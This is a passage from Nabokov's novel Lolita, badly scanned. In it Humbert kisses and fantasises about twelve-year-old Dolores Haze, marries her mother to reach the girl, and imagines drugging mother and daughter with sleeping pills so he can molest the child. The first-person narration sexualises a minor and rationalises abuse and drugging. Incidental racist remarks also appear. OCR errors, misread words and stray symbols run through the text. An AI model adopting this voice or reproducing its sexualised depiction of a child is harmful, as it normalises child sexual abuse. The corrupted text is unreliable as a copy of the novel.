liked the cold cuts, too. It had been a +perfect day. Mrs. Chatfield was a lovely person. Phyllis, her +daughter, was going to a summer camp tomorrow. For three +weeks. Lolita, it was decided, would go Thursday. Instead of +waiting till July, as had been initially planned. And stay there +after Phyllis had left. Till school began. A pretty prospect, my +heart + + +Oh, how I was taken aback — for did it not mean I was los- +ing my darling, just when I had secretly made her mine? To +explain my grim mood, I had to use the same toothache I had +already simulated in the morning. Must have been an enor- +mous molar, with an abscess as big as a maraschino cherry. + +"We have,” said Haze, "an excellent dentist Our neighbor, +in fact Dr. Quilty. Uncle or cousin, I think, of the playwright +Think it will pass? Well, just as you wish. In the fall I shall +have him Trace’ her, as my mother used to say. It may curb +Lo a little. I am afraid she has been bothering you frightfully +all these days. And we are ip for a couple of stormy ones before +she goes. She has flatly refused to go, and I confess I left hex +.with the Chatfields because I dreaded to face her alone just +yet The movie may mollify her. Phyllis is a very sweet girl, and +there is no earthly reason for Lo to dislike her. Really, mon- +sieur, I am very sorry about that tooth of yours. It would be so +much more reasonable to let me contact Ivor Quilty first thing +tomorrow morning if it stfll hurts. And, you know, I think a +summer camp is so much healthier, and — well, it is all so much +more reasonable as I say than to mope on a suburban lawn and +use mamma’s lipstick, and pursue shy studious gentlemen, and +go into tantrums at the least provocation. + +"Are you sure,” I said at last, "that she wifi be happy there? +(lame, lamentably lame!) + +"She’d better," said Haze. "And it won’t be all play either. +The camp is run by Shirley Holmes — you know, the woman +who wrote Campfire Girl. Camp will teach Dolores Haze to +grow in many things — health, knowledge, temper. Ana par- +ticularly in a sense of responsibility toward other people. Snail + +60 + + +we take these candles with ns and sit for a while on the piazza, +or do you want to go to bed and nurse that tooth7" + +Nurse that tooth. + + +15 + + +Next day they drove downtown to buy things needed for the +camp: any wearable purchase worked wonders with Lo. She +seemed her usual sarcastic self at dinner. Immediately after- +wards, she went up to her room to plunge into the comic books +acquired for rainy days at Camp Q (they were so thoroughly +sampled by Thursday that she left them behind) . I too retired +to my lair, and wrote letters. My plan now was to leave for the +seaside and then, when school began, resume my existence in +the Haze household; for I knew already that I could not live +without the child. On Tuesday they went shopping again, and +I was asked to answer the phone if the camp mistress rang up +during their absence. She did; and a month or so later we had +occasion to recall our pleasant chat. That Tuesday, Lo had her +dinner in her room. She had been crying after a routine row +with her mother and, as had happened on former occasions, +had not wished me to see her swollen eyes: she had one of +those tender complexions that after a good cry get all blurred +and inflamed, and morbidly alluring. I regretted keenly her +mistake about my private aesthetics, for I simply love that +tinge of Botticellian pink, that raw rose about the bps, those +wet, matted eyelashes; and, naturally, her bashful whim +deprived me..of many opportunities of specious consolation. +There was, however, more to it than I thought. As we sat in +the darkness of the veranda (a rude wind had put out her red +candles), Haze, with a dreary laugh, said she had told Lo that +her beloved Humbert thoroughly approved of the whole camp +idea “and now,” added Haze, "the child throws a fit; pretext: +you and I want to get rid of her, actual reason: I told her -we +would exchange tomorrow for plainer stuS some much too +cute night thinp that she bullied me into buying for her. You +sec, she sees herself as a starlet; I see her as a sturdy, healthy, +but decidedly homely kid. This, I guess, is at the root of our +troubles." + + +61 + + +i managed to ™y h y L° for a few seconds: +she was on the landing, in sweatshirt and green-stained white +shorts, rummaging in a trunk. I said something meant to be +friendly and funny but she only emitted a snort without look- +ing at me. Desperate, dying Humbert patted her clumsily on +her coccyx, and she struck him, quite painfully, with one of +the late Mr. Haze’s shoetrees. “Doublecrosser,” she said as I +crawled downstairs rubbing my aim with a great show of rue. +She did not condescend to have dinner with Hum and mum- +washed her hair and went to bed with her ridiculous books*. +And on Thursday quiet Mrs. Haze drove her to Camp Q. + +As greater authors than I have put it: “Let readers imagine" +etc. On second thought, I may as well give those imaginations +a kick in the pants. I knew I had fallen in love with Lolita +forever; but I also knew she would not be forever Lolita. She +would be thirteen on January 1. In two years or so she would +cease being a nymphet and would turn into a "young girl,” +and then, into a “college girl” — that horror of horrors. The +word “forever” referred only to my own passion, to the eternal +Lolita as reflected in my blood. The Lolita whose iliac crests +had not yet flared, the Lolita that today I could touch and +smell and hear and see, the Lolita of the strident voice and the +rich brown hair — of the bangs and the swirls at the sides and +the curls at the back, and the sticky hot neck, and the vulgar +vocabulary — “revolting,” “super,” ‘luscious,” “goon,” “drip” +— that Lolita, my Lolita, poor Catullus would lose forever. So +how could I afford not to see her for two months of summer +insomnias? Two whole months out of the two years of her re- + + +maining nymphage! Should I disguise myself as a somber old- +fashioned girl, gawky Mile Humbert, and put up my tent on +the outskirts of Camp Q, in the hope that its russet nymphets +would clamor: “Let us adopt that deep-voiced D.P.,” and drag +the sad, shyly smiling Berthe au Grand Pied to their rustic +hearth. Berthe will sleep with Dolores Haze! + +Idle dry dreams. Two months of beauty, two months of ten- +derness, would be squandered forever, and I could do nothing +about it, but nothing, mais rien. + +One drop of rare honey, however, that Thursday did hold in +its acom cup. Haze was to drive her to the camp in the early +morning. Upon sundry sounds of departure reaching me, I +rolled out of bed and leaned out of the window. Under the +poplars, the car was already athrob. On the sidewalk, Louise +stood shading her eyes with her hand, as if the little traveler +were already riding into the low morning sun. The gesture + + +62 + + + +proved to be premature. "Hurry upP shouted Haze. My +Lolita, who was half in and about to slam the car door, wind +down the glass, wave to Louise and the poplars (whom and +which she was never to see again), interrupted the motion of +fate: she looked up — and dashed back into the house (Haze +furiously calling after her) . A moment later I heard my sweet- +heart running up the stairs. My heart expanded with such +force that it almost blotted me out I hitched up the pants of +- my pajamas, flung the door open: and simultaneously Lolita +arrived, in her Sunday frock, stamping, panting, and then she +was in my arms, her innocent mouth melting under the fero- +cious pressure of dark male jaws, my palpitating darling! The +next instant I heard her — alive, unraped — clatter downstairs. +The motion of fate was resumed. The blond leg was pulled in, +the car door was slammed — was re-slammed — and driver Haze +at the violent wheel, rubber-red bps writhing in angry, . in- +audible speech, swung my darling away, while unnoticed by +them or Louise, old Miss Opposite, an invalid, feebly but +rhythmically waved from her vlned veranda. + + +16 + + +The Honnow of my hand was still ivory-full of Lolita — full of +the feel of her pre-adolescently incurved back, that ivory- - +smooth, sliding sensation of her skin through the thin frock +that I had worked up and down while I held her. I marched +into her tumbled room, threw open the door of the closet and +plunged into a heap of crumpled things that had touched her. +There was particularly one pink texture, sleazy, tom, with a +faintly acrid odor in the seam. I wrapped in it Humbert's huge +engorged heart. A poignant chaos was welling within me — +but I had to drop those things and hurriedly regain my com- +posure, as I became aware of the maid’s velvety voice calling +me softly from the stairs. She had a message for me, she said; +and, topping my automatic thanks with a kindly "you’re wel- +come,” good Louise left an unstamped, curiously clean-look- +ing letter in my shaking hand. + +This is a confession: I love you [so the letter began; and +tor a distorted moment I mistook its hysterical scrawl for a +schoolgirl’s scribble]. Last Sunday in church— bad you, who + +63 + + + +r&fased to come to see oar beautiful new windows! — only +last Sunday, my dear one, when Tasked the Lord what to do +about it, I was told to act as I am acting now. You see, there +is no alternative. I have loved you from the minute I saw +you. I am a passionate and lonely woman and you are the +love of my life. + +Now, my dearest, dearest, mon cher, cher monsieur, you +have read this; now you know. So, wall you please, at once, +pack and leave. This is a landlady* s order. I am dismissing a +lodger. I am kicking you out Go! Scram! Departezl I shall +be back by dinnertime, if I do eighty both ways and don’t +have an accident (but what would it matter?), and I do +not wish to find you in the house. Please, please, leave at +once, now, do not even read this absurd note to the end. +Go. Adieu. + +The situation, ch6ri, is quite simple. Of course, I know +with absolute certainty that I am nothing to you, nothing at +all. Oh yes, you enjoy talking to me (and kidding poor me), +you have grown fond of our friendly house, of the books I +like, of my lovely garden, even of Lo's noisy ways — but I am +nothing to you. Right? Right. Nothing to you whatever. But +if, after reading my “confession,” you decided, in your dark +romantic European way, that I am attractive enough for you +to take advantage of my letter and make a pass at me, then +you would be a criminal— worse than a kidnapper who rapes +a child. You see, ch6ri. If you decided to stay, if I found +you at home (which I know I won’t — and that's why I am +able to go on like this), the fact of your remaining would +only mean one thing: that you want me as much as I do +you: as a lifelong mate; and that you are ready to link up +your life with min e forever and ever and be a father to my +little girl. + +Let me rave and ramble on for a teeny while more, my +dearest, since I know this letter has been by now tom by you, +and its pieces (illegible) in the vortex of the toilet My +dearest mon tr£s, tr&s cher, what a world of love I have +b uil t up for you during this miraculous June! I know how +reserved you are, how “British.” Your old-world reticence, +your sense of decorum may be shocked by the boldness of an +American girl! You who conceal your strongest feelings must +think me a shameless little idiot for throwing open my poor +bruised heart like this. In years gone by, many disappoint- +ments came my way. Mr. Haze was a splendid person, a + +64 + + + +sterling soul, buthe happened to he twenty years my senior, ; + +and — well, let us not gossip about the past. My dearest, ; +your cariosity must be well satisfied if you have ignored my +request and read this letter to the hitter end. Never mind. ’ +Destroy it and go.. Do not forget to leave the hey on the j +desk in your room. And some scrap of address so that I i + +could refund the twelve dollars I owe you tQl the end of the i + +month. Good-bye, dear one. Pray for me — if yon ever pray. j + +C.H. ! + +j + +What I present here is what I remember of foe letter, and j +what I remember of foe letter I remember verbatim (including | +that awful French) . It was at least twice longer. I have left ont i + +a lyrical passage which I more or less skipped at foe time, con- , +cerning Lolita's brother who died at 2 when she was 4, and j + +how much I would have liked him. Let me see what else can I • + +say? Yes. There is just a chance that "foe vortex of foe toilet" ] +(where the letter did go) is my own matter-of-fact contribu- ; +tion. She probably begged me to make a special fire for it. j + +My first movement was one of repulsion and retreat. My J + +second was like a friend's calm band falling upon my shoulder j +and bidding me take my time. I did. I came out of my daze | +and found myself still in Lo’s room. A full-page ad ripped out +of a slick magazine was affixed to foe wall above foe bed, be- +tween a crooner's mug and foe lashes of a movie actress. It j +represented a dark-haired young husband with a kind of +drained look in his Irish eyes. He was modeling a robe by So- J +and-So and bolding a bridgelike tray by So-and-So, with break- j + +fast for two. The legend, by foe Rev. Thomas Morell, called 1 +him a “conquering hero." The thoroughly conquered lady +(not shown) was presumably propping heiself up to receive j +her half of foe tray. How her bedfellow was to get under foe +bridge without some messy mishap was not clear. Lo had +drawn a jocose arrow to foe haggard lover's face and had put, +in block letters: H. H. And indeed, despite a difference of a few +5 ’ears, foe resemblance was striking. Under this was another +picture, also a colored ad. A distinguished playwright was sol- ■ +cmnly smoking a Drome. He always smoked Dromes. The +resemblance was slight. Under this was Lo's chaste bed, lit- 1 +tered with comics.” The enamel had come off the bedstead, ! +leaving black, more or less rounded, marks on foe white. Hav- i +mg convinced myself that Louise had left, I got into Lo’s bed 1 +and reread the letter. j + + +65 + + +17 + +Gentlemen of the joey! I cannot swear that certain mo- +tions pertaining to the business in hand — if I may coin an +expression — had not drifted across my mind before. My mind +had not retained them in any logical form or in any relation +to definitely recollected occasions; but I cannot swear — let me +repeat — that I had not toyed with them (to rig up yet an- +other expression), in my dimness of thought, in my darkness +of passion. There may have been times — -there must have been +times, if I know my Humbert — when I had brought up for +detached inspection the idea of marrying a mature widow (say, +Charlotte Haze) with not one relative left in the wide gray +world, merely "in order to have my way with her child (Lo, +Lola, Lolita). I am even prepared to tell my tormentors that +perhaps once or twice I had cast an appraiser’s cold eye at +Charlotte’s coral lips and bronze hair and dangerously low +neckline, and had vaguely tried to fit her into a plausible day- +dream. This I confess under torture. Imaginary torture, per- +haps, but all the more horrible. I wish I might digress and +tell you more of the pavor noctumus that would rack me at +night hideously after a chance term had struck me in the ran- +dom readings of my boyhood, such as peine forte et dure (what +a Genius of Pain must have invented thatl) or the dreadful, +mysterious, insidious words, "trauma," "traumatic event,” and +"transom.” But my tale is sufficiently incondite already. + +After a while I destroyed the letter and w'ent to my room, +and ruminated, and rumpled my hair, and modeled my purple +robe, and moaned through clenched teeth and suddenly — +Suddenly, gentlemen of the jury, I felt a Dostoeyskian grin +dawning (through the very grimace that twisted my lips) like +a distant and terrible sun. I imagined (under conditions of +new and perfect visibility) all the casual caresses her mother’s +husband would be able to lavish on his Lolita. I would hold +her against me three times a day, every day. All my troubles +would be expelled, I would be a healthy man. 'To hold thee +lightly on a gentle knee and print on thy soft cheek a parent s +kiss . . Well-read Humbert! + +Then, with all possible caution, on mental tiptoe so to +speak, I conjured up Charlotte as a possible mate. By God, I + +66 + + +could make myself bring her that economically halved grape- +fruit, that sugarless breakfast + +Humbert Humbert sweating in the fierce white light, and +howled at and trodden upon by sweating policemen, is now +ready to make a further "statement” ( quel mot!) as he turns +his conscience inside out and rips off its innermost lining. I +did not plan to marry poor Charlotte in order to eliminate her +in some vulgar, gruesome and dangerous manner such as kill- +ing her by placing five bichloride-of-mercury tablets in her +preprandial sherry or anything like that hut a delicately allied, +pharmacopoeial thought did tinkle in my sonorous and +clouded brain. Why limit myself to the modest masked caress +I had tried already? Other versions of venery presented them- +selves to me swaying and smiling. I saw myself administering +a powerful sleeping potion to both mother and daughter so as +to fondle the latter through the night with perfect impunity. +The house was full of Charlotte’s snore, while Lolita hardly +breathed in her sleep, as still as a painted girl-child. "Mother, +I swear Kenny never even touched me.” "You either lie, +Dolores Haze, or it was an incubus.” No, I would not go that +far. + +So Humbert the Cubus schemed and dreamed — and the red +sun of desire and decision (the two things that create a live +world) rose higher and higher, while upon a succession of +balconies a succession of libertines, sparkling glass in hand, +toasted the bliss of past and future nights. Then, figuratively +speaking, I shattered the glass, and boldly imagined (for I was +drunk on those visions by then and underrated the gentleness +of my nature) how eventually I might blackmail — no, that is +too strong a word — mauvemail big Haze into letting me con- +sort with little Haze by gently threatening the poor doting +Big Dove with desertion if she tried to bar me from playing +with my legal stepdaughter. In a word, before such an Amaz- +ing Offer, before such a vastness and variety of vistas, I was +as helpless as Adam at the preview of early oriental history, +miraged in his apple orchard. + +And now take down the following important remark: the +artist in me Has been given the upper hand over the gentle- +man. It is with a great effort of will that in this memoir I +have managed to tune my style to the tone of the journal that +I kept when Mrs. Haze was to me but an obstacle. That +journal of mine is no more; but I have considered it my +artistic duty' to preserve its intonations no matter how false + +67 + + +and brutal they may seem to me. now. Fortunately, my story +has reached a point where I can cease insulting poor Charlotte +for the. sake of retrospective, verisimilitude. + +Wishing to spare poor Charlotte two or three hours of sus- +pense on a winding road (and avoid, perhaps, a head-on col- +lision that would shatter our different dreams), I made a +thoughtful but abortive attempt to reach her at the camp by +telephone. She had left an hour before, and getting Lo instead, +I told her — trembling and brimming with my mastery over +fete — that I was going to marry her mother. I had to repeat it +twice because something was preventing her from giving me +her attention. “Gee, that's swell,” she said laughing. “When +is the wedding? Hold on a sec, the pup — That pup here has +got hold of my sock. Listen — ” and she added she guessed she +was going to have loads of fun . . . and I realized as I hung +up that a couple of hours at that camp had been sufficient to +blot out with new impressions the image of handsome Hum- +bert Humbert from little Lolita's mind. But what did it mat- +ter now?. I would get her back as soon as a decent amount of +time after the wedding had elapsed. “The orange blossom +would have scarcely withered on the grave,” as a- poet might +have said. But I am no poet. I am only a very conscientious +recorder. + +After Louise had gone, I inspected the icebox, and finding +it much too puritanic, walked to town and bought the richest +foods available. I also bought some good liquor and two or +three kinds of vitamins. I was pretty sure that with the aid of +these stimulants and my natural resources, I would avert any +embarrassment that my indifference might incur when called +upon to display a strong and impatient flame. Again and again +resourceful Humbert evoked Charlotte as seen in the raree- +show of manly imagination. She was well groomed and shape- +ly, this I could say for her, and she was my Lolita's big sister- — +this notion, perhaps, I could keep up if only I did not visualize +too realistically her heavy hips, round knees, ripe bust, the +coarse pink of her neck (“coarse” by comparison with silk +and honey) and all the rest of that sorry and dull thing; a +handsome woman. + +The sun made its usual round of the house as the afternoon +ripened into evening. I had a drink. And another. And yet +another. Gin and pineapple juice, my favorite mixture, always +double my energy. I decided to busy myself with our unkempt +lawn. Une petite attention. It was crowded with dandelions, + +68 + + +and a cursed dog — I loathe dogs— had defiled the fiat stones +•where a sundial had once stood. Most of the dandelions had +changed from suns to moons. The gin and Lolita were dancing +in me, and I almost fell over the folding chairs that I attempted +to dislodge. Incarnadine zebras! There are some eructations +that sound like cheers — at least, mine did. An old fence at the +back of the garden separated us from the neighbor’ s garbage +receptacles and lilacs; but there was nothing between the front +end of onr lawn (where it sloped along one side of the house) +and the street. Therefore I was able to watch (with the smirk +of one about to perform a good action) for the return of +Charlotte: that tooth should be extracted at once. As I lurched +and lunged with the hand mower, bits of grass optically twit- +tering in the low sun, I kept an eye on that section of suburban +street It curved in from under an archway of huge shade +trees, then sped towards us down, down, quite sharply, past +old Miss Opposite’s ivied brick house and high-sloping lawn +(much trimmer than ours) and disappeared behind our own +front porch which I could not see from where I happily +belched and labored. The dandelions perished. A reak of sap +mingled with the pineapple. Two little girls, Marion and +Mabel, whose comings and goings I had mechanically fol- +lowed of late (but who could replace my Lolita? ) went toward +the avenue (from which our Lawn Street cascaded), one push- +ing a bicycle, the other feeding from a paper bag, both talking +at the top of their sunny voices. Leslie, old Miss Opposite’s +gardener and chauffeur, a very amiable and athletic Negro, * +grinned at me from afar and shouted, re-shouted, commented +by gesture, that I was mighty energetic to-day. The fool dog of i + +the prosperous junk dealer next door ran after a blue car — > + +not Charlotte’s. The prettier of the two little girls (Mabel, I ' + +think) , shorts, halter with little to halt, bright hair — a nymph- j + +et, by Pan! — ran back down the street crumpling her paper 1 + +bag and was hidden from this Green Goat by the frontage of ! + +Mr. and Mrs. Humbert’s residence. A station wagon popped ] + +out of the leafy shade of the avenue, dragging some of it on its I + +roof before the shadows snapped, and swung by at an idiotic ] + +pace, the sweatshirted driver roof-holding with his left hand +and the junkman’s dog tearing alonpide. There was a smiling +pause — and then, with a flutter in my breast, I witnessed the +return of the Blue Sedan. I saw it glide downhill and disappear +behind the comer of the house.' I had a glimpse of her calm +pale profile. It occurred to me that until she went upstairs she + +69 + + +would not "know whether I had gone or not. A minute later, +with an expression of great anguish on her face, she looked +down at me from the window of Lo*s room. By sprinting up- +stairs, I managed to reach that room before she left it. + + + +When the bride is a widow and the groom is a widower; +when the former has lived in Our Great Little Town for hardly +two years, and the latter for hardly a month; when Monsieur +wants to get the whole damned thing over with as quickly as +possible, and Madame gives in with a tolerant smile; then, my +reader, the wedding is generally a “quiet” affair. The bride +may dispense with a tiara of orange blossoms securing her +finger-tip veil, nor does she carry a white orchid in a prayer +book. The bride's little daughter might have added to the +ceremonies uniting H. and H. a touch of vivid vermeil; but I +knew I would not dare be too tender with cornered Lolita yet, +and therefore agreed it was not worth while tearing the child +away from her beloved Camp Q. + +My soi-disant passionate and lonely Charlotte was in every- +day life matter-of-fact and gregarious. Moreover, I discovered +that although she could not control her heart or her cries, she +was a woman of principle. Immediately after she had become +- more ot less my mistress (despite the stimulants, her “nervous, +eager chdri” — a heroic chdri — had some initial trouble, for +which, however, he amply compensated her by a fantastic dis- +play of old-world endearments), good Charlotte interviewed +me about my relations with God. I could have answered that +on that score my mind was open; I said, instead — paying rny +tribute to a pious platitude — that I believed in a cosmic spirit. +Looking down at her fingernails, she also asked me had I not +in my family a certain strange strain. I countered by inquiring +whether she would still want to marry me if my fatheris ma- +ternal grandfather had been, say, a Turk. She said it did not +matter a bit; but that, if she ever found out I did not believe +in Our Christian God, she would commit suicide. She said it +so solemnly that it gave me the creeps. It was then I knew +she was a woman of principle. + +70 + + + +Oh, she was very genteel: she said "excuse me” whenever a +slight burp interrupted her flowing speech, called an envelope +an ahnvelope, and when talking to her lady-friends referred +to me as Mr. Humbert I thought it would please her if I +entered the community trailing some glamor after me. On the +day of our wedding a little interview with me appeared in the +Society Column of the Ramsdale Journal, with a photograph +of Charlotte, one eyebrow up and a misprint in her name +("Hazer”). Despite this contretemps, the publicity warmed +the porcelain cockles of her heart — and made my rattles shake j +with awful glee. By engaging in church w'ork as well as by J +getting to know tire better mothers of Lo’s schoolmates, +Charlotte in the course of twenty months or so had managed +to become if not a prominent, at least an acceptable citizen, +but never before had she come under that thrilling rnbrique, +and it was I who put her there, Mr. Edgar H. Humbert (I +threw in the “Edgar” just for the heck of it), "writer and +explorer.” McCoo’s brother, when taking it down, asked me +what I had written. Whatever I told him came out as “sev- +eral books on Peacock, Rainbow and other poets.” It was also +noted that Charlotte and I had known each other for several +years and that I was a distant relation of her first husband. + +I hinted I had had an affair with her thirteen years ago but +this was not mentioned in print To Charlotte I said that +society columns should contain a shimmer of errors. + +let us go on with this curious tale. When called upon to +enjoy my promotion from lodger to lover, did I experience +only bitterness and distaste? No. Mr. Humbert .confesses to a +certain titillation of bis vanity, to some faint tenderness, even +to a pattern of remorse daintily running along the steel of his +conspiratorial dagger. Never had I thought that the rather I +ridiculous, though rather handsome Mrs. Haze, with her blind j +faith in the wisdom of her church and book club, ber manner- +isms of elocution, her harsh, cold, contemptuous attitude to- ; +ward an adorable, downy-armed child of twelve, could turn +into such a touching, helpless creature as soon as I laid my +hands upon her which happened on the threshold of Lolita’s ! +room whither she tremulously backed repeating, "no, no, +please no." + +The transformation improved her looks. Her smile that had +been such a contrived thing, thenceforth became the radiance +of utter adoration — a radiance haring something soft and 1, +moist about it, in which, with wonder, I recognized a re- j + +71 1 + + +semblance to tie lovely, inane, lost look that Lo had when +gloating over a new kind of concoction at the soda fountain +or mutely admiring my expensive, always tailor-fresh clothes. +Deeply fascinated, I would watch Charlotte wbOe sbe swapped +parental woes with some other lady and made that- national +grimace of feminine resignation (eyes rolling up, mouth droop- +ing sideways), which, in an infantile form I had seen Lo +making herself. We had highballs before turning in, and with +their help, I would manage to evoke the child while caressing +the mother. This was the white stomach within which my +nymphet had been a little curved fish in 1934. This carefully +dyed hair, so sterile to my sense of smell and touch, acquired +at certain lamplit moments in the poster bed the tinge, if not +the texture, of Lolita's curls. I kept telling myself, as I wielded +my brand-new large-as-life wife, that biologically this was the +nearest I could get to Lolita; that at Lolita’s age, Lotte had +been as desirable a schoolgirl as her daughter was, and as +Lolita’s daughter would be some day. I had my wife unearth +from under a collection of shoes- (Mr. Haze had a passion for +them, it appears) a thirty-year-old album, so that I might +see how Lotte had looked as a child; and even though the light +was wrong and the dresses graceless, I was able to make out a +dim first version of Lolita’s outline, legs, cheekbones, bobbed +nose. Lottelita, Lolitchen. + +So I tom-peeped across the hedges of years, into wan little +windows. And when, by means of pitifully ardent, naively +lascivious caresses, she of the noble nipple and massive thigh +prepared me for the performance of my nightly duty, it was +still a nymphet’s scent that in despair I tried to pick up, as I +bayed through the undergrowth of dark decaying forests. + +I simply can’t tell you how gentle, how touching my poor +wife was. At breakfast, in the depressingly bright kitchen, with +its chrome glitter and Hardware and Co. Calendar and cute +breakfast nook (simulating that Coffee Shoppe where in their +college days Charlotte and Humbert used to coo together), +she would sit, robed in red, her elbow on the plastic-topped +table, her cheek propped on her fist, and stare at me with in- +tolerable tenderness as I consumed my ham and eggs. Hum- +bert's face might twitch with neuralgia, but in her eyes it vied +in beauty and animation with the sun and shadow's of leaves +rippling on the white refrigerator. My solemn exasperation +was to her the silence of love. My small income added to her +even smaller one impressed her as a brilliant fortune; not be- + +72 + + +cause the resulting sum now sufficed for most middle-class +needs, but because even my money sbone in her eyes with the +magic of my manliness, and she saw our joint account as one +of those southern boulevards at midday that have solid shade +on one side and smooth sunshine on the other, all the way +to the end of a prospect, where pink mountains loom. + +Into the fifty days of our cohabitation Charlotte crammed +the activities of as many years. The poor woman busied her- +self with a number of things she had foregone long before or +had never been much interested in, as if (to prolong these +Proustian intonations) by my marrying the mother of the 1 +child I loved I had enabled my wife to regain an abundance : +of youth by proxy. With the zest of a banal young bride, she +started to "glorify the home.” Knowing as I did its every ! + +cranny by heart — since those days when from my chair I ' + +mentally mapped out Lolita's course through the house — I j + +had long entered into a sort of emotional relationship with +it, with its very ugliness and dirt, and now I could almost feel +the wretched thing cower in its reluctance to endure the bath +of ecru and ocher and putty-buff-and-snuff that Charlotte +planned to give it She never got as far as that thank God, +but she did use up a tremendous amount of energy in wash- +ing window shades, waxing the slats of Venetian blinds, pur- +chasing new shades and new blinds, returning them to the +store, replacing them by others, and so on, in a constant ’ i +chiaroscuro of smiles and frowns, doubts and pouts. She | + +dabbled in cretonnes and chintzes; she changed the colors of ; + +the sofa — the sacred sofa where a bubble of paradise had once \ + +burst in slow’ motion within me. She rearranged the furniture j + +• — and was pleased when she found, in a household treatise, ; + +that "it is permissible to separate a pair of sofa commodes and [ + +their companion lamps.” With the authoress of Your Home - + +Is You, she developed a hatred for little lean chairs and spindle • + +tables. She believed that a room having a generous expanse +of glass, and lots of rich wood paneling was an example of the I +masculine type of room, whereas the feminine type was j +characterized by lighter-looking windows and frailer wood- j +work. The novels I had found her reading when I moved in +were now replaced by illustrated catalogues and faomemaking +guides. From a firm located at 4640 Roosevelt Blvd., Phila- +delphia, she ordered for our double bed a "damask covered +?12 coil mattress” — although the old one seemed to me re- +silient and durable enough for whatever it had to support. j + +73 I + + +_ A Midwesterner, as her late husband had also been, she had +lived in-coy Ramsdale, the gem of an eastern state, not long +enough to know all the nice people. She knew slightly the +jovial dentist who lived in a kind of ramshackle wooden +chateau behind our lawn. She had met at a church tea the +“snooty” wife of the local junk dealer who owned the “colo- +nial” white horror at the comer of the avenue. Now and then +she "visited with” old Miss Opposite; but the more patrician +matrons among those she called upon,- or met at lawn func- +tions, or had telephone chats with — such dainty ladies as Mis. +Glave, Mrs. Sheridan, Mrs. McCrystal, Mrs. Knight and +others, seldom seemed to call on my neglected Charlotte. +Indeed, the only couple with whom she had relations of real +cordiality, devoid of any arriere-pensee or practical foresight, +were the Farlows who had just come back from a business trip +to Chile in time to attend our wedding, with the Chatfields, +McCoos, and a few others (but not Mrs. Junk or the even +prouder Mrs. Talbot) . John Farlow was a middle-aged, quiet, +quietly athletic, quietly successful dealer in sporting goods, +who had an office at Parldngton, forty miles away: it was he +who got me the cartridges for that Colt and showed me how +to use it, during a walk in the woods one Sunday; he was also +what he called with a smile a part-time lawyer and had handled +some of Charlotte’s affairs. Jean, his youngish wife (and first +cousin), was a long-limbed girl in harlequin glasses with two +boxer dogs, two pointed breasts and a big red mouth. She +painted — landscapes and portraits — and vividly do I remember +praising, over cocktails, the picture she had made of a niece +of hers, little Rosaline Honeck, a rosy honey in a Girl Scout +uniform, beret of green worsted, belt of green webbing, +charming shoulder-long curls — and John removed his pipe +and said it was a pity Dolly (my Dolita) and Rosaline were so +critical of each other at school, but he hoped, and we all +hoped, they would get on better when they returned from +their respective camps. We talked of the school. It had its +drawbacks, and it had its virtues. “Of course, too many of the +tradespeople here are Italians,” said John, “but on the other +hand we are still spared — ” “I wish,” interrupted Jean with a +laugh, “Dolly and Rosaline were spending the summer to- +gether.” Suddenly I imagined Lo returning from camp — +brown, warm, drowsy, drugged — and was ready to weep with +passion and impatience. + + +74 + + + +19 + + +A few words more about Mrs. Humbert while the going is +good (a bad accident is to happen quite soon). I had been +always aware of the possessive streak in her, but 1 never +thought she would be so crazily jealous of anything in my life +that had not been she. She showed a fierce insatiable curiosity +for my past. She desired me to resuscitate all my loves so that +she might make me insult them, and trample upon them, and +revoke them apostately and totally, thus destroying my past. +She made me tell her about my marriage to Valeria, who was +of course a scream; but I also had to invent, or to pad atro- +ciously, a long series of mistresses for Charlotte’s morbid +delectation. To keep her happy, I had to present her with an +illustrated catalogue of them, all nicely differentiated, accord- +ing to the rules of those American ads where schoolchildren +are pictured in a subtle ratio of races, with one — only one, but +as cute as they make them — chocolate-colored round-eyed +little lad, almost in the very middle of the front row. So I +presented my women, and had them smile and sway — the +languorous blond, the fiery brunette, the sensual copperhead — +as if on parade in a bordello. The more popular and platitu- +dinous I made them, the more Mrs. Humbert was pleased with +the show. + +Never in my life had I confessed so much or received so +many confessions. The sincerity and artlessness with which she +discussed what she called her “love-life,” from first necking to +connubial catch-as-catch-can, were, ethically, in striking con- +trast with my glib compositions, but technically the two sets +were congeneric since both were affected by the same stuff +(soap operas, psychoanalysis and cheap novelettes) upon +which I drew for my characters and she for her mode of ex- +pression. I was considerably amused by certain remarkable sex- +ual habits that the good Harold Haze had had according to +Charlotte who thought my mirth improper, but otherwise +her autobiography was as devoid of interest as her autopsy +would have been. I never saw a healthier woman than she, +despite thinning diets. + + + +% + + +*’J + + + + + + + +;.?• + + + + +;i| + +a + + +i ; + + +U + +f + +t + +r + + +75 + + + + +Of my Lolita she seldom spoke — more seldom, in fact, than +she did of the blurred, blond male baby whose photograph +-to the exclusion of all others adorned our bleak bedroom. In +one of her tasteless reveries, she predicted that the dead in- +fant* s soul would return to earth in the form of the child she +would bear in her present wedlock. And although I felt no +special urge to supply the Humbert line with a replica of +Harold's production (Lolita, with an incestuous thrill, I had +grown to regard as my child), it occurred to me that a pro- +longed confinement, with a nice Caesarean operation and +other complications in a safe maternity ward sometime next +spring, would give me a chance to be alone with my Lolita for +weeks, perhaps — and gorge the limp nymphet with sleeping +pills. + +Oh, she simply hated her daughter! What I thought espe- +cially vicious was that she had gone out of her way to mswer +with great diligence the questionnaires in a fool’s book she had +(A Guide to Your Child’s Development), published in Chi- +cago. The rigmarole went year by year, and Mom was sup- +posed to fill out a kind of inventory at each of her child's +birthdays. On Lo’s twelfth, January 1, 1947, Charlotte Haze, +nde Becker, had underlined the following epithets, ten out of +forty, under ‘Tour Child's Personality”: aggressive, boisterous, +critical, distrustful, impatient, irritable, inquisitive, listless, +negativistic (underlined twice) and obstinate. She had ignored +the thirty remaining adjectives, among which were cheerful, +co-operative, energetic, and so forth. It was really maddening. +With a brutality that otherwise never appeared in my loving +wife’s mild nature, she attacked and routed such of Lo’s +little belongings that had wandered to various parts of the +house to freeze there like so many hypnotized bunnies. Little +did the good lady dream that one morning when an upset +stomach (the result of my trying to improve on her sauces) +had prevented me from accompanying her to church, I de- +ceived her with one of Lolita’s anklets. And then, her attitude +toward my saporous darling’ s letters! + +Dear Mommy and Hommy, + +Hope you are fine. Thank you very much for the candy. + +I [crossed out and re-written again] I lost my new sweater + +in the woods. It has been cold here for the last few days. + +I'm having a time. Love. + + +76 + + +Dolly + + + +“The dumb child," said Mis. Humbert, "has left out a word +before ‘time/ That sweater was all-wool, and I wish you would +not send her candy without consulting me.” + + +20 + + +There was a woodlake (Hourglass Lake — not as I had +thought it was spelled) a few miles from Ramsdale, and there +was one week of great heat 